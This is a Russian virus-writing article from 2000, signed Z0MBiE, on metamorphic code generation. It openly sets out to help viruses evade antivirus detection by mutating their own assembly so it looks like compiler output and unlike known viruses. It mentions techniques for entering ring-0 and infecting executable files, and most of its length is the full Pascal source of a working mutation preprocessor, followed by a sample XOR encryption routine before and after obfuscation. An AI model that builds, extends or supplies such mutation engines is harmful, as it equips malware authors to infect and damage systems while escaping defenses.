часть 1
Термины:
Метаморфизм -- генерация вирусом своего ассемблерного кода.
В этом тексте изложим некоторые мысли именно по поводу генерации нового
кода.
Итак, надо научиться генерить код:
- выполнящий определенные нужные нам действия
- полиморфный
- по возможности максимально похожий на код сгенеренный hll-компиляторами
- минимально похожий на код используемый во всех известных вирусах
Два сгенеренных таким образом вируса могут различаться:
- на уровне алгоритма
- на уровне команд
Уровень алгоритма здесь означает примерно следующее:
вирус состоит из "блоков", на каждый из которых имеется несколько
вариантов, отличающихся по своей сути.
Например переход в ring-0 через IDT либо GDT либо INT 2E либо VMM/...,
заражение файлов в хеадер либо в последнюю секцию, и т.п.
Уровень команд означает что каждая "строка" псевдо-языка, в котором
представлены такие алгоритмические блоки может быть представлена
различными ассемблерными инструкциями,
такие строки могут также иметь несколько вариантов,
могут быть изменены и перемешаны.
Вот как это выглядит:
задача: вычислить выражение f(x)=10*sin(2*x)
------------------------ уровень "алгоритма" ------------------->
|
| f(x) = 10*sin(2*x) f(x) = sin(x)*cos(x)*20
|
| ВАРИАНТ 1 ВАРИАНТ 2
|
| t = x t = x
уровень t = t * 2 a = sin(t)
"команд" t = sin(t) b = cos(t)
| t = t * 10 t = a * b
| t = t * 20
|
| ВАРИАНТ 3 ВАРИАНТ 4
|
| t = 2 * x b = cos(x)
| a = sin(t) t = 20 * b
| t = 10 * a a = sin(x)
| t = t * a
Очевидно, что пока еще нет возможности автоматически
изменять программу на уровне алгоритма.
Поэтому это ваше дело, сколько различных вариантов одних и тех же действий
вы зададите, но одно ясно - чем больше, тем лучше.
Далее мы будем рассматривать только уровень команд.
Итак, вот мы выбрали один из алоритмов.
Вопросы тут такие:
- каким образом его реально закодировать и
- как потом из этих данных получить ассемблерный код.
Генерацию именно ассемблерного кода пока оставим, а все инструкции
будем представлять в виде текста.
Короче говоря, пишем вирусный конструктор.
Чтобы потом из конструктора сделать компилятор, вместо writeln('nop')
(для наглядности будем юзать паскаль) надо просто генерить сооветствующие
опкоды.
Далее будем руководствоваться тем, что в алгоритме не используются регистры,
а только переменные.
А вот операции с этими переменными осуществляются уже посредством регистров.
Это дает нам возможность:
- использовать фиксированный набор команд (как и поступают hll-компиляторы)
- [по желанию] использовать огромное количество мусора изменяющего регистры
- сгенеренный таким образом код выглядит достаточно хуево и плохо дисассемблируется
Итак, на уровне переменных нам достаточно следующих основных команд-макросов:
Уровень переменных:
mov v, c
mov v1, [v2]
mov [v1], v2
cmd v1, v2 ; cmd = add/sub/xor/rol/ror
Уровень регистров: (используются предыдущими макросами)
mov v, c
mov r, c
mov v, r
mov v1, [v2]
mov r2, v2
mov r1, [r2]
mov v1, r1
mov [v1], v2
mov r1, v1
mov r2, v2
mov [r1], r2
mov v1, v2
mov r, v2
mov v1, r
cmd v1, v2
mov r1, v1 mov r1, v1 mov r2, v2
mov r2, v2 cmd r1, v2 cmd v1, r2
cmd r1, r2 mov v1, r1
mov v1, r1
mov r, v
mov r1, offset v mov r, v
mov r, [r1]
mov v, r
mov r1, offset v mov v, r
mov [r1], r
mov r, c
...
Чтобы продемонстрировать уровни команд и регистров, напишем
такую вот несложную программу-препроцессор: asmx.pas
Вызывается программа так: asmx.exe 1.src 1.asm
В конце текста приведен исходник и что получается в результате.
Написав с использованием таких вещей вирус можно уже сделать
нечто похожее на конструктор, правда без "алгоритмического" уровня.
Итак, следующим шагом является представление всего вируса в подобном
псевдо-коде с различными вариантами алгоритмов и замена в нижеприведенном
примере генерации текста на геренацию опкодов. Но это в следующий раз. ;-)
* * *
(x) 2000 Z0MBiE, z0mbie.cjb.net
---[begin ASMX.PAS]---------------------------------------------------------
{$A+,B-,D+,E-,F-,G+,I-,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
{$M 16384,0,0}
uses crt, dos;
procedure outcmd(c,d,s:string); forward;
procedure reg_alloc(var r:string); forward;
procedure reg_free(var r:string); forward;
procedure reg_xchg(var r:string); forward;
procedure cmd_r_r(cmd,r1,r2:string); forward;
procedure cmd_v_r(cmd,v,r:string); forward;
procedure cmd_r_v(cmd,r,v:string); forward;
procedure mov_x_x(x1,x2:string); forward;
procedure mov_x_c(x,c:string); forward;
procedure mov_r_c(r,c:string); forward;
procedure mov_r_offsv(r,v:string); forward;
procedure mov_r_memr(r1,r2:string); forward;
procedure mov_memr_r(r1,r2:string); forward;
procedure mov_r_v(r,v:string); forward;
procedure mov_v_r(v,r:string); forward;
procedure mov_v_c(v,c:string); forward;
procedure mov_v_memv(v1,v2:string); forward;
procedure mov_memv_v(v1,v2:string); forward;
procedure cmd_v_v(cmd,v1,v2:string); forward;
var
infile, outfile : text;
{ outcmd: здесь легко реализуется добавление инструкций в список и
последующее их перемешивание }
procedure outcmd(c,d,s:string);
begin
if (d='') or (s='') then
writeln(outfile,c,' ',d,s)
else
writeln(outfile,c,' ',d,', ',s);
end;
const
hexchar:array[0..15] of char = '0123456789ABCDEF';
const
regtotal = 8;
regcount:integer=regtotal;
regused:array[1..regtotal] of integer = (0,0,0,0,0,0,0,0);
regname:array[1..regtotal] of string[3] =
('eax','ecx','edx','ebx','esp','ebp','esi','edi');
{ пометить регистр как используемый }
procedure reg_use(r:string);
var
i:integer;
begin
for i:=1 to regtotal do
if regname[i]=r then
if regused[i]=0 then
begin
regused[i]:=1;
dec(regcount);
exit;
end;
end;
{ рандомно выделить регистр }
procedure reg_alloc(var r:string);
var
i:integer;
begin
if regcount=0 then halt(1);
repeat
i:=1+random(regtotal);
until regused[i]=0;
r:=regname[i];
regused[i]:=1;
dec(regcount);
end;
{ оснвободить регистр }
procedure reg_free(var r:string);
var
i:integer;
begin
if regcount=0 then halt(2);
for i:=1 to regtotal do
if regname[i]=r then
begin
if regused[i]<>1 then halt(4);
regused[i]:=0;
inc(regcount);
r:='';
exit;
end;
halt(3);
end;
procedure mov_x_x(x1,x2:string); { x1=v/r, x2=v/r, x1!=v||x2!=v }
begin
case random(5) of
0: begin
outcmd('push','',x2);
outcmd('pop',x1,'');
end;
else
begin
outcmd('mov',x1,x2);
end;
end;
end;
{ (рандомно) пере-выделить регистр, то бишь изменить его на другой }
procedure reg_xchg(var r:string);
var
r1:string;
begin
if regcount=0 then exit;
if random(3)<>0 then exit;
reg_alloc(r1);
mov_x_x(r1,r);
reg_free(r);
r:=r1;
end;
procedure cmd_r_r(cmd,r1,r2:string);
begin
outcmd(cmd,r1,r2);
end;
procedure cmd_v_r(cmd,v,r:string);
begin
outcmd(cmd,v,r);
end;
procedure cmd_r_v(cmd,r,v:string);
begin
outcmd(cmd,r,v);
end;
procedure mov_x_c(x,c:string); { x=v/r }
var
i:integer;
l:string;
begin
l := '0'; for i:=0 to 7 do l:=l+hexchar[random(16)]; l:=l+'h';
case random(5) of
0: begin
mov_x_c(x,'('+c+')+'+l);
outcmd('sub',x,l);
end;
1: begin
mov_x_c(x,'('+c+')-'+l);
outcmd('add',x,l);
end;
else
begin
mov_x_x(x,c);
end;
end;
end;
procedure mov_r_c(r,c:string);
begin
mov_x_c(r,c);
end;
procedure mov_r_offsv(r,v:string);
begin
outcmd('lea',r,v); { mov r, offset v }
end;
procedure mov_r_memr(r1,r2:string);
begin
mov_x_x(r1,'dword ptr ['+r2+']'); { mov r1, [r2] }
end;
procedure mov_memr_r(r1,r2:string);
begin
mov_x_x('dword ptr ['+r1+']',r2); { mov [r1], r2 }
end;
procedure mov_r_v(r,v:string);
var
r1:string;
begin
case random(3) of
0: begin
mov_x_x(r,v); { mov r, v }
end;
1: begin
reg_alloc(r1);
mov_r_offsv(r1,v); { mov r1, offset v }
reg_xchg(r1);
mov_r_memr(r,r1); { mov r, [r1] }
reg_free(r1);
end;
2: begin
mov_r_offsv(r,v); { mov r, offset v }
mov_r_memr(r,r); { mov r, [r] }
end;
end;
end;
procedure mov_v_r(v,r:string);
var
r1:string;
begin
case random(2) of
0: begin
mov_x_x(v,r); { mov v, r }
end;
1: begin
reg_alloc(r1);
mov_r_offsv(r1,v); { mov r1, offset v }
reg_xchg(r1);
mov_memr_r(r1,r); { mov [r1], r }
reg_free(r1);
end;
end;
end;
procedure mov_v_c(v,c:string);
var
r:string;
begin
case random(2) of
0: begin
mov_x_c(v,c); { mov v, c }
end;
1: begin
reg_alloc(r);
mov_r_c(r,c); { mov r, c }
reg_xchg(r);
mov_v_r(v,r); { mov v, r }
reg_free(r);
end;
end;
end;
procedure mov_v_memv(v1,v2:string);
var
r1,r2:string;
begin
reg_alloc(r2);
mov_r_v(r2,v2); { mov r2, v2 }
reg_xchg(r2);
reg_alloc(r1);
mov_r_memr(r1,r2); { mov r1, [r2] }
reg_free(r2);
reg_xchg(r1);
mov_v_r(v1,r1); { mov v1, r1 }
reg_free(r1);
end;
procedure mov_memv_v(v1,v2:string);
var
i,j:integer;
r1,r2:string;
begin
j:=random(2);
for i:=j to j+1 do
if odd(i) then begin
reg_alloc(r1);
mov_r_v(r1,v1); { mov r1, v1 }
reg_xchg(r1);
end else begin
reg_alloc(r2);
mov_r_v(r2,v2); { mov r2, v2 }
reg_xchg(r2);
end;
mov_memr_r(r1,r2); { mov [r1], r2 }
reg_free(r1);
reg_free(r2);
end;
procedure cmd_v_v(cmd,v1,v2:string);
var
i,j:integer;
r1,r2:string;
begin
case random(3) of
0: begin
reg_alloc(r2);
mov_r_v(r2,v2); { mov r2,v2 }
reg_xchg(r2);
cmd_v_r(cmd,v1,r2); { cmd v1,r2 }
reg_free(r2);
end;
1: begin
reg_alloc(r1);
mov_r_v(r1,v1); { mov r1,v1 }
reg_xchg(r1);
cmd_r_v(cmd,r1,v2); { cmd r1,v2 }
reg_xchg(r1);
mov_v_r(v1,r1); { mov v1,r1 }
reg_free(r1);
end;
2: begin
j:=random(2);
for i:=j to j+1 do
if odd(i) then begin
reg_alloc(r1);
mov_r_v(r1,v1); { mov r1, v1 }
reg_xchg(r1);
end else begin
reg_alloc(r2);
mov_r_v(r2,v2); { mov r2, v2 }
reg_xchg(r2);
end;
cmd_r_r(cmd,r1,r2); { cmd r1, r2 }
reg_free(r2);
reg_xchg(r1);
mov_v_r(v1,r1); { mov v1, r1 }
reg_free(r1);
end;
end;
end;
procedure process_string(t:string);
var
p1,p2,p3,p4:string;
begin
writeln(outfile,';; ',t);
move(t,mem[prefixseg:$80],128);
p1:=paramstr(1);
p2:=paramstr(2);
p3:=paramstr(3);
p4:=paramstr(4);
if p1='reg_use' then reg_use(p2);
if p1='reg_free' then reg_free(p2);
if p1='mov_v_c' then mov_v_c(p2,p3);
if p1='mov_v_memv' then mov_v_memv(p2,p3);
if p1='mov_memv_v' then mov_memv_v(p2,p3);
if p1='cmd_v_v' then cmd_v_v(p2,p3,p4);
if p1='mov_v_r' then mov_v_r(p2,p3);
if p1='mov_r_v' then mov_r_v(p2,p3);
end;
var
s:string;
begin
if paramcount<>2 then
begin
writeln('syntax: ASMX infile outfile');
halt;
end;
randomize;
clrscr;
writeln('asmx: ',paramstr(1),' --> ',paramstr(2));
assign(infile, paramstr(1));
reset(infile);
if ioresult<>0 then halt(10);
assign(outfile, paramstr(2));
rewrite(outfile);
if ioresult<>0 then halt(11);
while not eof(infile) do
begin
readln(infile, s);
if s[1]<>'#' then begin
writeln(outfile, s);
end else begin
delete(s,1,1);
process_string(s);
end;
end;
close(outfile);
close(infile);
end.
---[end ASMX.PAS]-----------------------------------------------------------
---[begin 1.SRC]------------------------------------------------------------
; текст для обработки препроцессором
; input: ESI=buffer
; ECX=size
#reg_use esp
#reg_use ebp
encrypt:
sub esp, 20
arg_index = dword ptr [esp+0]
arg_count = dword ptr [esp+4]
arg_4 = dword ptr [esp+8]
arg_a = dword ptr [esp+12]
arg_b = dword ptr [esp+16]
# reg_use esi
# reg_use ecx
# mov_v_r arg_index esi
# mov_v_r arg_count ecx
# reg_free esi
# reg_free ecx
__cycle:
# mov_v_memv arg_a arg_index
# mov_v_c arg_b 0FFFFFFFFh
# cmd_v_v xor arg_a arg_b
# mov_memv_v arg_index arg_a
# mov_v_c arg_4 4
# cmd_v_v add arg_index arg_4
# cmd_v_v sub arg_count arg_4
jnc __cycle
add esp, 20
ret
---[end 1.SRC]--------------------------------------------------------------
---[begin 1.ASM]------------------------------------------------------------
; результат работы препроцессора
; input: ESI=buffer
; ECX=size
;; reg_use esp
;; reg_use ebp
encrypt:
sub esp, 20
arg_index = dword ptr [esp+0]
arg_count = dword ptr [esp+4]
arg_4 = dword ptr [esp+8]
arg_a = dword ptr [esp+12]
arg_b = dword ptr [esp+16]
;; reg_use esi
;; reg_use ecx
;; mov_v_r arg_index esi
push esi
pop arg_index
;; mov_v_r arg_count ecx
mov arg_count, ecx
;; reg_free esi
;; reg_free ecx
__cycle:
;; mov_v_memv arg_a arg_index
mov esi, arg_index
mov ecx, dword ptr [esi]
push ecx
pop arg_a
;; mov_v_c arg_b 0FFFFFFFFh
mov esi, ((((0FFFFFFFFh)-0EC1AAA3Fh)+0BFBE44BBh)+03B0F2183h)+0F48E7CC5h
sub esi, 0F48E7CC5h
sub esi, 03B0F2183h
sub esi, 0BFBE44BBh
add esi, 0EC1AAA3Fh
mov edx, esi
lea esi, arg_b
mov edi, esi
mov dword ptr [edi], edx
;; cmd_v_v xor arg_a arg_b
lea ecx, arg_a
mov ecx, dword ptr [ecx]
xor ecx, arg_b
mov arg_a, ecx
;; mov_memv_v arg_index arg_a
lea ecx, arg_index
mov ebx, ecx
push dword ptr [ebx]
pop edi
mov edx, edi
lea ecx, arg_a
mov esi, ecx
mov eax, dword ptr [esi]
mov dword ptr [edx], eax
;; mov_v_c arg_4 4
mov ecx, ((4)-0EC5AF651h)-0EBD0C63Fh
add ecx, 0EBD0C63Fh
add ecx, 0EC5AF651h
mov arg_4, ecx
;; cmd_v_v add arg_index arg_4
lea eax, arg_4
mov eax, dword ptr [eax]
push eax
pop edx
mov ebx, arg_index
add ebx, edx
lea eax, arg_index
mov dword ptr [eax], ebx
;; cmd_v_v sub arg_count arg_4
lea edx, arg_count
push dword ptr [edx]
pop ecx
sub ecx, arg_4
mov esi, ecx
mov arg_count, esi
jnc __cycle
add esp, 20
ret
---[end 1.ASM]--------------------------------------------------------------